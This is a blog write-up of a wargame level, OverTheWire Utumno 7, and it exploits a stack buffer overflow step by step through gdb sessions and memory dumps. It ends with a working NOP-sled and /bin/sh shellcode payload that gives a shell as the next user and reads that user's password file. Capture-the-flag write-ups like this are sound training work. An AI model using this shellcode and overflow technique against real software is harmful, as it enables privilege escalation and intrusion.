OverTheWire.org - Utumno - Level 7 Writeup

Let's run the vulnerable code in different ways as in the previous levels:

utumno7@utumno:~$  /utumno/utumno7

utumno7@utumno:~$ /utumno/utumno7 a
lol ulrich && fuck hector

utumno7@utumno:~$ ltrace /utumno/utumno7 a
__libc_start_main(0x8048501, 2, 0xffffd794, 0x8048550 <unfinished ...>
puts("lol ulrich && fuck hector"lol ulrich && fuck hector
)                                                                = 26
_setjmp(0xffffd64c, 0, 0, 0x5d034448)                                                            = 0
strcpy(0xffffd5cc, "a")                                                                          = 0xffffd5cc
longjmp(0xffffd64c, 23, 0xffffd6ec, 0x80484f7 <no return ...>
+++ exited (status 0) +++

It does something and specifically a call to strcpy() using the command line parameter.

Let's try with a longer input: a strange behavior happens when using buffer longer than 140 bytes.

(gdb) set args $(python -c 'print "A"*140')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno7 $(python -c 'print "A"*140')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x00000019 in ?? ()

Uhmm... execution flow was changed to 0x19
That's a strange value for a memory address: likely it's a value stored somewhere in memory.  Maybe on the stack?

Let's inspect ESP value and the memory area around its value:

(gdb) info reg esp
esp            0xffffd608       0xffffd608
(gdb) x/wx 0xffffd600
0xffffd600:     0xf7fc3960
(gdb)
0xffffd604:     0x00000019
(gdb)
0xffffd608:     0xf7fc5000


The execution flow was changed to the address contained at memory location %esp - 4

Using a 144 bytes parameter is much more interesting:

(gdb) set args $(python -c 'print "A"*144')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "A"*144')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x080484d5 in vuln (arg=<error reading variable: Cannot access memory at address 0x41414149>) at utumno7.c:23
23      in utumno7.c
(gdb) info reg
eax            0x17     23
...
ebp            0x41414141       0x41414141

The code at line 0x080484d5 wasn't able to access memory 0x41414149

Let's keep this 144 bytes buffer but made of 140 A's and a valid address on the stack.
And then explore that memory area.

First time with 0xffffde60:

(gdb) set args $(python -c 'print "A"*140 +"\x60\xde\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "A"*140 +"\x60\xde\xff\xff"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x333b3030 in ?? ()
(gdb) x/wx 0xffffde60
0xffffde60:     0x3d737570
(gdb)
0xffffde64:     0x333b3030

Again with 0xffffde80

(gdb) set args $(python -c 'print "A"*140 +"\x80\xde\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "A"*140 +"\x80\xde\xff\xff"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x5f485353 in ?? ()
(gdb) x/wx 0xffffde80
0xffffde80:     0x003a3633
(gdb)
0xffffde84:     0x5f485353

What happened?
The execution flow was changed to the value contained at the memory location just after the addres specified at the end of the buffer.
For example: we put 0xffffde80 at the end of the input buffer.
The execution was changed to 0x5f485353, which is the value contained at address 0xffffde84

 We can use this behavior to change the execution flow to a controlled location.

If we search a bit we find that our buffer starts at 0xffffd824


0xffffd820:     0x00376f6e      0x41414141      0x41414141      0x41414141
0xffffd830:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd840:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd850:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd860:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd870:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd880:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd890:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8a0:     0x41414141      0x41414141      0x41414141      0x41414141

So we can prepare the command line parameter as:
  • Filling: "AAAA" 
  • Return address: "BBBB" 
  • NOP Sled: 144 - filling-size (4) - (4) - (4) = 144 - 4 - 4 -4 = 132 
  • return address location: "0xfffd824"
(gdb) set args $(python -c 'print "AAAABBBB"+ "\x90"*132 + "\x24\xd8\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "AAAABBBB"+ "\x90"*132 + "\x24\xd8\xff\xff"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()


And we changed the execution flow to BBBB (0x42424242)
Now insert a shellcode and shorten the NOP sled accordingly:
   
(gdb) set args $(python -c 'print "AAAA" + "BBBB" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "AAAA" + "BBBB" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()


Now let's insert the return address somewhere inside the NOP, let's say 0xffffd844.
 
(gdb) set args $(python -c 'print "AAAA" + "\x44\xd8\xff\xff" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"')
(gdb) r
Starting program: /utumno/utumno7 $(python -c 'print "AAAA" + "\x44\xd8\xff\xff" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x24\xd8\xff\xff"')
lol ulrich && fuck hector
process 7617 is executing new program: /bin/dash
$


We exploited it in gdb! Now we have to adjust the buffer location to exploit it outside gdb. 

As in the previous levels, we can try to add something between 10 and 20 to the buffer memory location.

After a few tries  we can find that working address is 0xffffd836:

 
/utumno/utumno7 $(python -c 'print "AAAA" + "\x44\xd8\xff\xff" + "\x90"*105 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x36\xd8\xff\xff"')
lol ulrich && fuck hector
$ id
uid=16007(utumno7) gid=16007(utumno7) euid=16008(utumno8) groups=16007(utumno7)
$ cat /etc/utumno_pass/utumno8
j*******v
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.